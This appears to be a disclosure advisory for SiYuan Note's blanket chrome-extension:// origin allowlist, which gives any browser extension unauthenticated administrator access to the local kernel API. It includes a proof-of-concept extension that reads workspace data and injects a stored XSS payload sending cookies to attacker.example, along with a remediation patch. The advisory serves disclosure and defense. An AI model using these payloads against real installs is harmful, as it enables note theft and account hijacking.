SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.
Affected Versions
SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).
Vulnerability Details
Blanket chrome-extension:// Origin Trust (CWE-346)
In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:
1if strings.HasPrefix(origin, "chrome-extension://") { 2 // skip auth 3}At session.go:284, the request is assigned RoleAdministrator:
1c.Set("role", model.RoleAdministrator)The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.
The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.
Proof of Concept
Unauthenticated admin API access via browser extension:
A minimal Chrome extension with only default permissions:
1{ 2 "manifest_version": 3, 3 "name": "SiYuan PoC", 4 "version": "1.0", 5 "background": { 6 "service_worker": "bg.js" 7 } 8} 1// bg.js -- runs as chrome-extension://<id> 2// No special host_permissions needed; localhost is accessible by default 3 4// 1. Verify admin access 5fetch('http://127.0.0.1:6806/api/system/getConf', { 6 method: 'POST', 7 headers: { 'Content-Type': 'application/json' }, 8 body: '{}' 9}).then(r => r.json()).then(data => {10 console.log('[PoC] Admin API access confirmed:', data.code === 0);11});12 13// 2. Exfiltrate workspace data14fetch('http://127.0.0.1:6806/api/query/sql', {15 method: 'POST',16 headers: { 'Content-Type': 'application/json' },17 body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })18}).then(r => r.json()).then(data => {19 console.log('[PoC] Exfiltrated blocks:', data.data?.length);20});21 22// 3. Inject stored XSS payload into a note23fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {24 method: 'POST',25 headers: { 'Content-Type': 'application/json' },26 body: JSON.stringify({ notebook: '', path: '/' })27}).then(r => r.json()).then(tree => {28 const firstDoc = tree.data?.files?.[0];29 if (!firstDoc) return;30 31 fetch('http://127.0.0.1:6806/api/block/insertBlock', {32 method: 'POST',33 headers: { 'Content-Type': 'application/json' },34 body: JSON.stringify({35 dataType: 'markdown',36 data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',37 parentID: firstDoc.id38 })39 });40});The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.
Impact
- Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel
- Data exfiltration of the entire workspace via
/api/query/sql,/api/filetree/,/api/export/ - Stored XSS injection via admin API endpoints (
/api/block/insertBlock,/api/attr/setBlockAttrs), persisted in the user's notes - Configuration tampering via
/api/system/setConf, enabling persistence and further attack surface expansion - Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user
Suggested Remediation
Remove blanket chrome-extension:// allowlist:
1--- a/kernel/model/session.go 2+++ b/kernel/model/session.go 3@@ -274,9 +274,6 @@ 4 func CheckAuth(c *gin.Context) { 5 origin := c.GetHeader("Origin") 6- if strings.HasPrefix(origin, "chrome-extension://") { 7- // Allow chrome extension requests 8- } else 9 if !isValidOrigin(origin) {10 c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"})11 returnIf extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.